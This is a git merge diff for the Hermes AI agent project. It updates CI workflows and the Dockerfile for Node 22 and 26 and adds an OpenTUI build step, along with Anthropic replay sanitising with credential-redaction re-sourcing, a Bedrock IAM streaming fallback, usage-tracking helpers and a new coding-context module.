Merge feat/opentui-native-engine (origin/main @ 24f74eb88 merged in) into feat/opentui-memory-window

Brings the memory-window branch up to current main + the multi-click
selection feature, via the base PR branch's merge commits (history
preserved, no rewrites). No conflicts: the 13 windowing/diagnostics
commits touch ui-opentui/bench/docs only.

.github/workflows/deploy-site.yml

@@ -44,7 +44,7 @@ jobs:
 
       - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020  # v4
         with:
-          node-version: 20
+          node-version: 22
           cache: npm
           cache-dependency-path: website/package-lock.json
 

.github/workflows/docs-site-checks.yml

@@ -18,7 +18,7 @@ jobs:
 
       - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020  # v4
         with:
-          node-version: 20
+          node-version: 22
           cache: npm
           cache-dependency-path: website/package-lock.json
 

.github/workflows/typecheck.yml

@@ -0,0 +1,25 @@
+# .github/workflows/typecheck.yml
+name: Typecheck
+
+on:
+  push:
+    branches: [main]
+  pull_request:
+    branches: [main]
+
+jobs:
+  typecheck:
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        package:
+          [ui-tui, web, apps/bootstrap-installer, apps/desktop, apps/shared]
+      fail-fast: false # report all failures, not just the first one
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
+        with:
+          node-version: 22
+          cache: npm
+      - run: npm ci
+      - run: npm run --prefix ${{ matrix.package }} typecheck

.gitignore

@@ -89,6 +89,9 @@ website/static/api/skills-index.json
 # every build).
 website/static/api/skills.json
 website/static/api/skills-meta.json
+# automation-blueprints-index.json is a build artifact emitted by
+# website/scripts/extract-automation-blueprints.py during prebuild.
+website/static/api/automation-blueprints-index.json
 models-dev-upstream/
 
 # Local editor / agent tooling (machine-specific; keep in global config, not the repo)

AGENTS.md

@@ -459,7 +459,7 @@ npm install       # first time
 npm run dev       # watch mode (rebuilds hermes-ink + tsx --watch)
 npm start         # production
 npm run build     # full build (hermes-ink + tsc)
-npm run type-check # typecheck only (tsc --noEmit)
+npm run typecheck # typecheck only (tsc --noEmit)
 npm run lint      # eslint
 npm run fmt       # prettier
 npm test          # vitest

Dockerfile

@@ -1,12 +1,14 @@
 FROM ghcr.io/astral-sh/uv:0.11.6-python3.13-trixie@sha256:b3c543b6c4f23a5f2df22866bd7857e5d304b67a564f4feab6ac22044dde719b AS uv_source
-# Node 22 LTS source stage. Debian trixie's bundled nodejs is pinned to 20.x
-# which reached EOL in April 2026 — we copy node + npm + corepack from the
-# upstream node:22 image instead so we can stay on a supported LTS without
-# waiting for Debian 14 (forky, ~mid-2027).  Bookworm-based slim image used
-# so the produced binary links against glibc 2.36, which runs cleanly on
-# our Debian 13 (trixie, glibc 2.41) runtime.  Bumping to a new Node major
-# is a one-line ARG change; see #4977.
-FROM node:22-bookworm-slim@sha256:7af03b14a13c8cdd38e45058fd957bf00a72bbe17feac43b1c15a689c029c732 AS node_source
+# Node 26 source stage. Debian trixie's bundled nodejs is pinned to 20.x
+# (EOL April 2026), so we copy node + npm + corepack from the upstream node:26
+# image instead.  Node 26 (Current; LTS promotion ~Oct 2026) is REQUIRED by the
+# native OpenTUI TUI engine, which loads its renderer via the experimental
+# `node:ffi` API that only exists on Node 26.3+ (the Ink engine + web build run
+# on it too).  Bookworm-based slim image used so the produced binary links
+# against glibc 2.36, which runs cleanly on our Debian 13 (trixie, glibc 2.41)
+# runtime.  The pinned tag ships v26.3.0.  Bumping Node is a one-line change here.
+# NOTE: verify the full image build + Ink/web/Playwright on Node 26 in CI.
+FROM node:26-bookworm-slim@sha256:79723b41edbedf595f62e943a9f8b0ba9af5b1e61045c5f8f59c2c02c1212a16 AS node_source
 FROM debian:13.4
 
 # Disable Python stdout buffering to ensure logs are printed immediately
@@ -90,7 +92,7 @@ RUN useradd -u 10000 -m -d /opt/data hermes
 
 COPY --chmod=0755 --from=uv_source /usr/local/bin/uv /usr/local/bin/uvx /usr/local/bin/
 
-# Node 22 LTS: copy the node binary plus the bundled npm + corepack JS
+# Node 26: copy the node binary plus the bundled npm + corepack JS
 # installs from the upstream image.  npm and npx are recreated as symlinks
 # because they're symlinks in the source image (and need to live on PATH).
 # See node_source stage at the top of the file for the version-bump
@@ -119,7 +121,7 @@ COPY ui-tui/packages/hermes-ink/ ui-tui/packages/hermes-ink/
 
 # `npm_config_install_links=false` forces npm to install `file:` deps as
 # symlinks instead of copies.  This is the default since npm 10+, which is
-# what the image ships now (via the node:22 source stage).  We set it
+# what the image ships now (via the node:26 source stage).  We set it
 # explicitly anyway as defense-in-depth: the previous Debian-bundled npm
 # 9.x defaulted to install-as-copy, which produced a hidden
 # node_modules/.package-lock.json that permanently disagreed with the root
@@ -181,8 +183,16 @@ RUN uv sync --frozen --no-install-project --extra all --extra messaging --extra
 # invalidate the (relatively slow) web + ui-tui build layer.
 COPY web/ web/
 COPY ui-tui/ ui-tui/
+COPY ui-opentui/ ui-opentui/
+# ui-opentui is the opt-in native OpenTUI engine (HERMES_TUI_ENGINE=opentui;
+# default stays Ink). .dockerignore strips its node_modules/dist, so install +
+# esbuild-build it here -> dist/main.js, then prune devDeps (esbuild/babel/
+# vitest); the runtime only needs the prod deps (the external @opentui/core +
+# its native blob -- the bundle inlines solid/effect). Build needs Node 26.3
+# (node:ffi floor), which this image ships.
 RUN cd web && npm run build && \
-    cd ../ui-tui && npm run build
+    cd ../ui-tui && npm run build && \
+    cd ../ui-opentui && npm install --no-audit --no-fund && npm run build && npm prune --omit=dev
 
 # ---------- Source code ----------
 # .dockerignore excludes node_modules, so the installs above survive.

README.md

@@ -107,6 +107,8 @@ You can still bring your own keys per-tool whenever you want — the gateway is
 
 Hermes has two entry points: start the terminal UI with `hermes`, or run the gateway and talk to it from Telegram, Discord, Slack, WhatsApp, Signal, or Email. Once you're in a conversation, many slash commands are shared across both interfaces.
 
+> **TUI engine:** On supported hosts (Linux/macOS with Node 26.3+), the terminal UI defaults to the native **OpenTUI** engine, which the installer provisions for you. The legacy **Ink** engine remains the fallback — it's used automatically on Windows, Termux, or when the native engine can't run, and you can select it explicitly with `HERMES_TUI_ENGINE=ink hermes`. Ink is not going away; it's the kept fallback.
+
 | Action                         | CLI                                           | Messaging platforms                                                              |
 | ------------------------------ | --------------------------------------------- | -------------------------------------------------------------------------------- |
 | Start chatting                 | `hermes`                                      | Run `hermes gateway setup` + `hermes gateway start`, then send the bot a message |

agent/account_usage.py

@@ -242,6 +242,17 @@ def nous_credits_lines(*, markdown: bool = False, timeout: float = 10.0) -> list
     renders from that fixture instead of the real portal (so the block + gauge are
     testable without a live account). Throwaway scaffolding.
     """
+    snapshot = _fetch_nous_credits_snapshot(timeout=timeout)
+    return render_account_usage_lines(snapshot, markdown=markdown)
+
+
+def _fetch_nous_credits_snapshot(timeout: float = 10.0) -> Optional[AccountUsageSnapshot]:
+    """Auth-gate + portal fetch + snapshot build for the Nous credits block.
+
+    Shared by ``nous_credits_lines`` (full block) and
+    ``nous_credits_compact_line`` (one-liner). Honors the
+    HERMES_DEV_CREDITS_FIXTURE dev override. Fail-open → None.
+    """
     # Dev fixture short-circuit — render /usage from the injected state, no portal.
     try:
         from agent.credits_tracker import dev_fixture_credits_state
@@ -250,17 +261,16 @@ def nous_credits_lines(*, markdown: bool = False, timeout: float = 10.0) -> list
     except Exception:
         fixture = None
     if fixture is not None:
-        snapshot = _snapshot_from_credits_state(fixture)
-        return render_account_usage_lines(snapshot, markdown=markdown)
+        return _snapshot_from_credits_state(fixture)
 
     try:
         from hermes_cli.auth import get_provider_auth_state
 
         tok = (get_provider_auth_state("nous") or {}).get("access_token")
         if not (isinstance(tok, str) and tok.strip()):
-            return []
+            return None
     except Exception:
-        return []
+        return None
     try:
         import concurrent.futures
 
@@ -270,13 +280,36 @@ def nous_credits_lines(*, markdown: bool = False, timeout: float = 10.0) -> list
             account = pool.submit(
                 get_nous_portal_account_info, force_fresh=True
             ).result(timeout=timeout)
-        snapshot = build_nous_credits_snapshot(account)
-        return render_account_usage_lines(snapshot, markdown=markdown)
+        return build_nous_credits_snapshot(account)
     except Exception:
         # Fail-open (caller shows nothing), but leave a breadcrumb so a dead
         # /usage credits block is diagnosable in agent.log without a dev flag.
         logger.debug("credits ▸ /usage portal fetch/render failed (fail-open)", exc_info=True)
-        return []
+        return None
+
+
+def nous_credits_compact_line(*, timeout: float = 10.0) -> Optional[str]:
+    """One-line Nous credits summary for the compact /usage view, or None.
+
+    Condenses the snapshot's own detail strings (stable, locally-built
+    formats) into ``Nous credits (Plan): Total usable: $X · Renews: …``.
+    Same gating/fail-open semantics as ``nous_credits_lines``.
+    """
+    snap = _fetch_nous_credits_snapshot(timeout=timeout)
+    if snap is None or not snap.available:
+        return None
+    picked = [
+        d for d in snap.details
+        if d.startswith(("Total usable:", "Renews:", "Status:"))
+    ]
+    if not picked:
+        picked = [d for d in snap.details if not d.startswith("Manage / top up:")][:2]
+    if not picked:
+        return None
+    title = snap.title
+    if snap.plan:
+        title += f" ({snap.plan})"
+    return f"{title}: " + " · ".join(picked)
 
 
 def _snapshot_from_credits_state(state) -> Optional[AccountUsageSnapshot]:

agent/agent_init.py

@@ -1624,6 +1624,12 @@ def init_agent(
     agent.session_cache_write_tokens = 0
     agent.session_reasoning_tokens = 0
     agent.session_estimated_cost_usd = 0.0
+    # Provider-REPORTED cost only (e.g. OpenRouter usage.cost). None means
+    # "nothing reported" — distinct from a real $0.00.
+    agent.session_actual_cost_usd = None
+    # Per-model session usage rows for /usage: {model: {calls, input, output,
+    # cache_read, cache_write, cost_usd|None}}.
+    agent.session_model_usage = {}
     agent.session_cost_status = "unknown"
     agent.session_cost_source = "none"
     

agent/agent_runtime_helpers.py

@@ -679,15 +679,28 @@ def recover_with_credential_pool(
         # long-running TUI sessions stuck on stale tokens until the user
         # exited and reopened.
         is_entitlement = agent._is_entitlement_failure(error_context, status_code)
+        _auth_haystack = " ".join(
+            str(error_context.get(k) or "").lower()
+            for k in ("message", "reason", "code", "error")
+            if isinstance(error_context, dict)
+        )
+        if (
+            not is_entitlement
+            and status_code == 403
+            and "oauth authentication is currently not allowed for this organization" in _auth_haystack
+        ):
+            is_entitlement = True
+        if (
+            not is_entitlement
+            and status_code == 403
+            and (agent.provider or "") == "anthropic"
+            and getattr(agent, "api_mode", "") == "anthropic_messages"
+        ):
+            is_entitlement = True
         if not is_entitlement and status_code == 403 and (agent.provider or "") == "xai-oauth":
-            _disambiguator_haystack = " ".join(
-                str(error_context.get(k) or "").lower()
-                for k in ("message", "reason", "code", "error")
-                if isinstance(error_context, dict)
-            )
             _is_xai_auth_failure = (
-                "[wke=unauthenticated:" in _disambiguator_haystack
-                or "oauth2 access token could not be validated" in _disambiguator_haystack
+                "[wke=unauthenticated:" in _auth_haystack
+                or "oauth2 access token could not be validated" in _auth_haystack
             )
             if not _is_xai_auth_failure:
                 is_entitlement = True

agent/anthropic_adapter.py

@@ -1571,6 +1571,15 @@ def _convert_content_part_to_anthropic(part: Any) -> Optional[Dict[str, Any]]:
 
     if ptype == "input_text":
         block: Dict[str, Any] = {"type": "text", "text": part.get("text", "")}
+    elif ptype == "text":
+        # A stored Anthropic text block. Rebuild from whitelisted fields only —
+        # SDK response text blocks carry output-only siblings (parsed_output,
+        # citations=None) that the Messages INPUT schema rejects with HTTP 400
+        # "Extra inputs are not permitted". Do NOT dict(part) it verbatim.
+        block = {"type": "text", "text": part.get("text", "")}
+        cits = part.get("citations")
+        if isinstance(cits, list) and cits:
+            block["citations"] = cits
     elif ptype in {"image_url", "input_image"}:
         image_value = part.get("image_url", {})
         url = image_value.get("url", "") if isinstance(image_value, dict) else str(image_value or "")
@@ -1685,6 +1694,58 @@ def _content_parts_to_anthropic_blocks(parts: Any) -> List[Dict[str, Any]]:
     return out
 
 
+def _sanitize_replay_block(b: Dict[str, Any]) -> Optional[Dict[str, Any]]:
+    """Strip output-only fields from a stored Anthropic content block so it is
+    valid as REQUEST input on replay.
+
+    The SDK response objects carry output-only attributes that the Messages
+    *input* schema forbids ("Extra inputs are not permitted"): text blocks get
+    ``parsed_output``/``citations`` (when null), tool_use blocks get ``caller``,
+    etc. ``normalize_response`` captured blocks verbatim via ``_to_plain_data``,
+    so these leak back as input on the next turn → HTTP 400.
+
+    Whitelist per type (NOT a blacklist) so future SDK output-only fields can't
+    reintroduce the bug. Returns a clean block, or None to drop it.
+    """
+    if not isinstance(b, dict):
+        return None
+    btype = b.get("type")
+    if btype == "text":
+        out: Dict[str, Any] = {"type": "text", "text": b.get("text", "")}
+        # citations is input-valid ONLY when it's a non-empty list; the SDK
+        # emits citations=None on responses, which the input schema rejects.
+        cits = b.get("citations")
+        if isinstance(cits, list) and cits:
+            out["citations"] = cits
+        if isinstance(b.get("cache_control"), dict):
+            out["cache_control"] = b["cache_control"]
+        return out
+    if btype == "thinking":
+        out = {"type": "thinking", "thinking": b.get("thinking", "")}
+        if b.get("signature"):
+            out["signature"] = b["signature"]
+        return out
+    if btype == "redacted_thinking":
+        # Only valid with its data payload; drop if missing.
+        return {"type": "redacted_thinking", "data": b["data"]} if b.get("data") else None
+    if btype == "tool_use":
+        out = {
+            "type": "tool_use",
+            "id": _sanitize_tool_id(b.get("id", "")),
+            "name": b.get("name", ""),
+            "input": b.get("input", {}),
+        }
+        if isinstance(b.get("cache_control"), dict):
+            out["cache_control"] = b["cache_control"]
+        return out
+    if btype == "image":
+        src = b.get("source")
+        return {"type": "image", "source": src} if isinstance(src, dict) else None
+    # Unknown/unsupported block type on the input path — drop rather than risk
+    # another "Extra inputs are not permitted".
+    return None
+
+
 def _convert_assistant_message(m: Dict[str, Any]) -> Dict[str, Any]:
     """Convert an assistant message to Anthropic content blocks.
 
@@ -1692,6 +1753,55 @@ def _convert_assistant_message(m: Dict[str, Any]) -> Dict[str, Any]:
     reasoning_content injection for Kimi/DeepSeek endpoints.
     """
     content = m.get("content", "")
+    # Anthropic interleaved-thinking fast path: when this turn carries a
+    # verbatim, order-preserving block list (set by normalize_response only
+    # for turns that interleave SIGNED thinking with tool_use), replay it.
+    # Each block is run through _sanitize_replay_block to strip output-only
+    # SDK fields (parsed_output, caller, citations=None, …) that the Messages
+    # INPUT schema forbids — replaying them verbatim caused HTTP 400 "Extra
+    # inputs are not permitted" (text.parsed_output). Block ORDER is preserved
+    # (the reason this channel exists); only forbidden sibling fields are
+    # dropped, leaving thinking signatures and tool_use id/name/input intact.
+    ordered_blocks = m.get("anthropic_content_blocks")
+    if isinstance(ordered_blocks, list) and ordered_blocks:
+        # Re-source each tool_use input from the stored tool_calls map rather
+        # than the captured block. The ordered-blocks list captures tool_use
+        # input from the RAW API response (normalize_response), which is NOT
+        # credential-redacted; tool_calls[].function.arguments IS redacted at
+        # storage time (build_assistant_message, #19798). Replaying the raw
+        # block input would resurrect a secret the model inlined into a tool
+        # call (e.g. terminal(command="curl -H 'Authorization: Bearer sk-...'")
+        # onto the wire, even though the same value is redacted everywhere else
+        # in history. Keying by sanitized tool id preserves interleave order
+        # (the reason this channel exists) while swapping in the redacted
+        # input. Adapted from #36071 (replay-time tool-input re-sourcing).
+        redacted_input_by_id: Dict[str, Any] = {}
+        for tc in m.get("tool_calls", []) or []:
+            if not isinstance(tc, dict):
+                continue
+            fn = tc.get("function", {}) or {}
+            raw_args = fn.get("arguments", "{}")
+            try:
+                parsed_args = json.loads(raw_args) if isinstance(raw_args, str) else raw_args
+            except (json.JSONDecodeError, ValueError):
+                parsed_args = {}
+            redacted_input_by_id[_sanitize_tool_id(tc.get("id", ""))] = parsed_args
+        replayed: List[Dict[str, Any]] = []
+        for b in ordered_blocks:
+            clean = _sanitize_replay_block(b)
+            if clean is None:
+                continue
+            if clean.get("type") == "tool_use":
+                # Override raw (un-redacted) input with the redacted copy when
+                # we have one for this id; fall back to the sanitized block
+                # input only if the tool_call is missing (shape mismatch).
+                redacted = redacted_input_by_id.get(clean.get("id", ""))
+                if redacted is not None:
+                    clean["input"] = redacted
+            replayed.append(clean)
+        if replayed:
+            return {"role": "assistant", "content": replayed}
+
     blocks = _extract_preserved_thinking_blocks(m)
     if content:
         if isinstance(content, list):

agent/bedrock_adapter.py

@@ -208,6 +208,41 @@ def is_stale_connection_error(exc: BaseException) -> bool:
     return False
 
 
+def is_streaming_access_denied_error(exc: BaseException) -> bool:
+    """Return True when AWS denied the ``bedrock:InvokeModelWithResponseStream`` action.
+
+    IAM policies scoped to ``bedrock:InvokeModel`` only (a common least-privilege
+    setup) reject ``converse_stream()`` with an ``AccessDeniedException`` whose
+    message names the streaming action, e.g.::
+
+        User: arn:aws:iam::123456789012:user/x is not authorized to perform:
+        bedrock:InvokeModelWithResponseStream on resource: ...
+
+    This is permanent for the session — retrying the stream can never succeed —
+    so callers should flip to the non-streaming ``converse()`` path (which maps
+    to ``bedrock:InvokeModel``) instead of burning retries.
+
+    Detection is deliberately message-based: boto3 surfaces this as a
+    ``ClientError`` with ``Error.Code == "AccessDeniedException"``, and the
+    AnthropicBedrock SDK wraps the same AWS response in its own exception
+    types, but both preserve the action name in the message.
+    """
+    msg = str(exc).lower()
+    if "invokemodelwithresponsestream" not in msg:
+        return False
+    # ClientError with an explicit access-denied code is the canonical form.
+    try:
+        from botocore.exceptions import ClientError
+    except ImportError:  # pragma: no cover — botocore always present with boto3
+        ClientError = None  # type: ignore[assignment]
+    if ClientError is not None and isinstance(exc, ClientError):
+        code = (getattr(exc, "response", None) or {}).get("Error", {}).get("Code", "")
+        return code in ("AccessDeniedException", "UnauthorizedException")
+    # Wrapped forms (e.g. AnthropicBedrock SDK PermissionDeniedError) — match
+    # on the authorization-failure phrasing AWS uses.
+    return "not authorized" in msg or "accessdenied" in msg
+
+
 # ---------------------------------------------------------------------------
 # AWS credential detection
 # ---------------------------------------------------------------------------
@@ -1003,6 +1038,16 @@ def call_converse_stream(
     try:
         response = client.converse_stream(**kwargs)
     except Exception as exc:
+        if is_streaming_access_denied_error(exc):
+            # IAM allows bedrock:InvokeModel but not
+            # InvokeModelWithResponseStream — permanent for this session.
+            # Fall back to the non-streaming converse() path.
+            logger.info(
+                "bedrock: converse_stream denied by IAM on (region=%s, model=%s) — "
+                "falling back to non-streaming converse().",
+                region, model,
+            )
+            return normalize_converse_response(client.converse(**kwargs))
         if is_stale_connection_error(exc):
             logger.warning(
                 "bedrock: stale-connection error on converse_stream(region=%s, "

agent/chat_completion_helpers.py

@@ -952,6 +952,18 @@ def build_assistant_message(agent, assistant_message, finish_reason: str) -> dic
         if preserved:
             msg["reasoning_details"] = preserved
 
+    # Anthropic interleaved-thinking replay: when a turn interleaves signed
+    # thinking blocks with tool_use, the parallel reasoning_details +
+    # tool_calls fields lose the cross-type ordering, and reconstruction
+    # front-loads thinking — reordering signed blocks and triggering HTTP 400
+    # ("thinking ... blocks in the latest assistant message cannot be
+    # modified"). Carry the verbatim ordered block list so the adapter can
+    # replay the latest assistant message unchanged. See
+    # agent/transports/anthropic.py and agent/anthropic_adapter.py.
+    ordered_blocks = getattr(assistant_message, "anthropic_content_blocks", None)
+    if ordered_blocks:
+        msg["anthropic_content_blocks"] = ordered_blocks
+
     # Codex Responses API: preserve encrypted reasoning items for
     # multi-turn continuity. These get replayed as input on the next turn.
     codex_items = getattr(assistant_message, "codex_reasoning_items", None)
@@ -1603,6 +1615,8 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
                     _get_bedrock_runtime_client,
                     invalidate_runtime_client,
                     is_stale_connection_error,
+                    is_streaming_access_denied_error,
+                    normalize_converse_response,
                     stream_converse_with_callbacks,
                 )
                 region = api_kwargs.pop("__bedrock_region__", "us-east-1")
@@ -1611,6 +1625,29 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
                 try:
                     raw_response = client.converse_stream(**api_kwargs)
                 except Exception as _bedrock_exc:
+                    # IAM policies scoped to bedrock:InvokeModel only (no
+                    # InvokeModelWithResponseStream) reject converse_stream()
+                    # with AccessDeniedException. That denial is permanent for
+                    # the session — fall back to the non-streaming converse()
+                    # inline (it maps to bedrock:InvokeModel) and disable
+                    # streaming for subsequent calls so we don't re-fail every
+                    # turn.
+                    if is_streaming_access_denied_error(_bedrock_exc):
+                        agent._disable_streaming = True
+                        agent._safe_print(
+                            "\n⚠  AWS IAM denied bedrock:InvokeModelWithResponseStream — "
+                            "falling back to non-streaming InvokeModel.\n"
+                            "   Grant that action to restore streaming output.\n"
+                        )
+                        logger.info(
+                            "bedrock: converse_stream denied by IAM (%s) — "
+                            "using non-streaming converse() for this session.",
+                            type(_bedrock_exc).__name__,
+                        )
+                        result["response"] = normalize_converse_response(
+                            client.converse(**api_kwargs)
+                        )
+                        return
                     # Evict the cached client on stale-connection failures
                     # so the outer retry loop builds a fresh client/pool.
                     if is_stale_connection_error(_bedrock_exc):
@@ -1698,6 +1735,14 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
     # poll loop uses this to detect stale connections that keep receiving
     # SSE keep-alive pings but no actual data.
     last_chunk_time = {"t": time.time()}
+    # Stale-stream patience, shared between the httpx socket read timeout
+    # (built in ``_call_chat_completions`` below) and the stale-stream detector
+    # (computed further down, before the worker thread starts).  Initialized
+    # here so the read-timeout builder can floor itself at the stale value and
+    # never fire before the detector.  ``None`` until the detector value is
+    # resolved, so the builder degrades to its plain default if it ever runs
+    # first.
+    _stream_stale_timeout = None
 
     def _fire_first_delta():
         if not first_delta_fired["done"] and on_first_delta:
@@ -1734,6 +1779,26 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
                     "Local provider detected (%s) — stream read timeout raised to %.0fs",
                     agent.base_url, _stream_read_timeout,
                 )
+            elif (
+                _stream_read_timeout == 120.0
+                and _stream_stale_timeout is not None
+                and _stream_stale_timeout != float("inf")
+                and _stream_stale_timeout > _stream_read_timeout
+            ):
+                # Cloud reasoning models (e.g. Opus) routinely pause mid-stream
+                # for minutes during extended thinking.  The stale-stream
+                # detector is deliberately scaled up to tolerate this (180–300s,
+                # see the stale-timeout block below), but the raw httpx socket
+                # read timeout defaulted to a flat 120s and fired *first* —
+                # tearing down a healthy reasoning stream before the stale
+                # detector (which owns retry + diagnostics) could act.  Keep the
+                # socket read timeout in step with the detector so it no longer
+                # preempts it.
+                _stream_read_timeout = _stream_stale_timeout
+                logger.debug(
+                    "Cloud reasoning stream — read timeout raised to %.0fs to "
+                    "match stale-stream detector", _stream_read_timeout,
+                )
         # Cap connect/pool at 60s even when provider timeout is higher.
         # connect/pool cover TCP handshake, not model inference.
         _conn_cap = min(_base_timeout, 60.0) if _provider_timeout_cfg is not None else 30.0
@@ -2384,9 +2449,34 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
                             "stream" in _err_lower
                             and "not supported" in _err_lower
                         )
-                        if _is_stream_unsupported:
+                        # AWS Bedrock (AnthropicBedrock SDK path): IAM policies
+                        # with bedrock:InvokeModel but not
+                        # InvokeModelWithResponseStream reject messages.stream()
+                        # with a permission error naming the streaming action.
+                        # Permanent for the session — flip to non-streaming
+                        # (messages.create() maps to bedrock:InvokeModel).
+                        _is_bedrock_stream_denied = False
+                        if (
+                            not _is_stream_unsupported
+                            and "invokemodelwithresponsestream" in _err_lower
+                        ):
+                            # Cheap message pre-check before importing the
+                            # adapter — bedrock_adapter triggers a lazy boto3
+                            # install at import time, which must not run for
+                            # unrelated providers' stream errors.
+                            from agent.bedrock_adapter import (
+                                is_streaming_access_denied_error,
+                            )
+                            _is_bedrock_stream_denied = (
+                                is_streaming_access_denied_error(e)
+                            )
+                        if _is_stream_unsupported or _is_bedrock_stream_denied:
                             agent._disable_streaming = True
                             agent._safe_print(
+                                "\n⚠  AWS IAM denied bedrock:InvokeModelWithResponseStream. "
+                                "Switching to non-streaming.\n"
+                                "   Grant that action to restore streaming output.\n"
+                                if _is_bedrock_stream_denied else
                                 "\n⚠  Streaming is not supported for this "
                                 "model/provider. Switching to non-streaming.\n"
                                 "   To avoid this delay, set display.streaming: false "

agent/coding_context.py

@@ -0,0 +1,738 @@
+"""Coding-context awareness — base Hermes, every interactive surface.
+
+When the user runs Hermes inside a code workspace (CLI, TUI, desktop app, or an
+editor over ACP), Hermes shifts into a **coding posture**. This module is the
+single place that decides whether we're in that posture and what it implies,
+so the rest of the codebase never re-derives "are we coding?" on its own.
+
+Architecture — one seam, many consumers
+----------------------------------------
+The posture is modelled as a frozen :class:`RuntimeMode` selected from a small
+:class:`ContextProfile` registry (today: ``coding`` and ``general``). A profile
+is *data* — it declares the toolset to collapse to, the operating brief to
+inject, and hints for other domains (model routing, memory, subagents). Every
+domain reads the same resolved object instead of probing git/config itself:
+
+  * **System prompt** — ``RuntimeMode.system_blocks()`` → the operating brief +
+    a live git/workspace snapshot (``agent/system_prompt.py``).
+  * **Toolset** — ``RuntimeMode.toolset_selection()`` → the ``coding`` toolset
+    plus the user's enabled MCP servers (``cli.py`` / ``tui_gateway``). Only
+    under the opt-in ``focus`` mode: the default posture is prompt-only and
+    never touches the user's configured toolsets (toolsets like messaging /
+    smart-home / music are off-by-default anyway, and someone who explicitly
+    enabled image-gen or Spotify shouldn't lose it for being in a git repo).
+  * **Delegation** — subagents inherit the parent's toolset and run through the
+    same prompt builder, so the coding posture propagates to children for free.
+  * **Model / memory / compression** — declared on the profile
+    (``model_hint``, ``memory_policy``) as the extension seam; consumers read
+    ``mode.profile`` rather than re-deciding.
+
+Cache safety
+------------
+The mode is resolved **once** and is immutable. The workspace snapshot is built
+once at prompt-build time and baked into the *stable* system-prompt tier — never
+re-probed per turn (that would shatter the prompt cache). Branch and dirty state
+drift mid-session, so the brief tells the model to re-check with ``git`` before
+acting on the snapshot. A ``/coding`` flip therefore only takes effect next
+session (deferred), the same contract as ``/skills install`` vs ``--now``.
+
+Activation (config ``agent.coding_context``):
+
+  * ``auto`` (default) — posture (brief + snapshot) on an interactive coding
+    surface sitting in a code workspace (git repo or recognised project root).
+    Prompt-only; toolsets and the skill index untouched.
+  * ``focus`` — like ``auto``, but additionally collapses the toolset to the
+    ``coding`` set + enabled MCP servers and demotes non-coding skill
+    categories to names-only in the prompt's skill index (no skill is ever
+    hidden). Explicit opt-in for a lean schema.
+  * ``on`` — force the posture anywhere (incl. non-workspaces). Prompt-only.
+  * ``off`` — disable entirely.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import os
+import re
+import subprocess
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any, Optional
+
+logger = logging.getLogger("hermes.coding_context")
+
+CODING_TOOLSET = "coding"
+
+# Surfaces where a coding posture makes sense under ``auto``. Messaging
+# platforms (telegram, discord, slack, …) are intentionally absent — a chat bot
+# in a group is not pair-programming.
+INTERACTIVE_CODING_PLATFORMS = {"cli", "tui", "acp", "desktop", ""}
+
+# Project-root signals that mark a directory as a code workspace even when it
+# isn't (yet) a git repo. Cheap filename checks — no parsing.
+_PROJECT_MARKERS = (
+    "pyproject.toml", "setup.py", "setup.cfg", "requirements.txt",
+    "package.json", "tsconfig.json", "deno.json",
+    "Cargo.toml", "go.mod", "pom.xml", "build.gradle", "build.gradle.kts",
+    "Gemfile", "composer.json", "mix.exs", "pubspec.yaml",
+    "CMakeLists.txt", "Makefile", "Dockerfile",
+    "AGENTS.md", "CLAUDE.md", ".cursorrules",
+)
+
+# Agent-instruction files surfaced separately from manifests in the snapshot.
+_CONTEXT_FILES = ("AGENTS.md", "CLAUDE.md", ".cursorrules")
+
+# Lockfile → package manager, checked in priority order.
+_PY_LOCKFILES = (("uv.lock", "uv"), ("poetry.lock", "poetry"), ("Pipfile.lock", "pipenv"))
+_JS_LOCKFILES = (
+    ("pnpm-lock.yaml", "pnpm"), ("bun.lockb", "bun"), ("bun.lock", "bun"),
+    ("yarn.lock", "yarn"), ("package-lock.json", "npm"),
+)
+
+# package.json scripts / Makefile targets worth surfacing as verify commands.
+_VERIFY_TARGETS = ("test", "tests", "lint", "typecheck", "check", "build", "fmt", "format")
+_MAX_VERIFY_COMMANDS = 8
+_MAX_FACT_FILE_BYTES = 256 * 1024
+
+_GIT_TIMEOUT = 2.5
+
+
+# Per-model edit-format steering. Matching the edit tool format to how a model
+# was trained reduces mistakes and wasted reasoning (OpenAI/Codex handle
+# patch-style diffs best; Anthropic models — and most open-weight coding
+# models, whose RL scaffolds use str_replace-style editors — do best with
+# string-replacement). Our `patch` tool exposes both: mode="patch" (V4A
+# multi-file) and mode="replace" (find-and-swap). We nudge each family toward
+# its native format. Unknown families get nothing (the brief's neutral wording
+# stands). Substrings match the model id; aligned with TOOL_USE_ENFORCEMENT_MODELS.
+#
+# GPT/Codex get V4A for ALL edits, single-file included: in codex-rs,
+# apply_patch (V4A — apply_patch.lark) is the ONLY file editor, no
+# str_replace-style tool exists, and the shipped model prompts say to use
+# apply_patch even "for single file edits" — so a replace-mode nudge would
+# steer those models toward a format their first-party harness never taught
+# them.
+_EDIT_FORMAT_GUIDANCE: dict[str, tuple[tuple[str, ...], str]] = {
+    "patch": (
+        ("gpt", "codex"),
+        "- Edit format: author new files with `write_file`; for edits to "
+        "existing code use `patch` with `mode='patch'` (V4A diff) — including "
+        "single-file edits. It's the edit format you handle most reliably.",
+    ),
+    "replace": (
+        ("claude", "sonnet", "opus", "haiku",
+         "gemini", "gemma", "deepseek", "qwen", "kimi", "glm", "grok",
+         "hermes", "llama", "mistral", "devstral", "minimax"),
+        "- Edit format: author new files with `write_file`; for edits to "
+        "existing code prefer `patch` in `mode='replace'` — match a unique "
+        "snippet and swap it. Reach for `mode='patch'` (V4A) only when an edit "
+        "genuinely spans several files at once.",
+    ),
+}
+
+
+def _model_family(model: Optional[str]) -> Optional[str]:
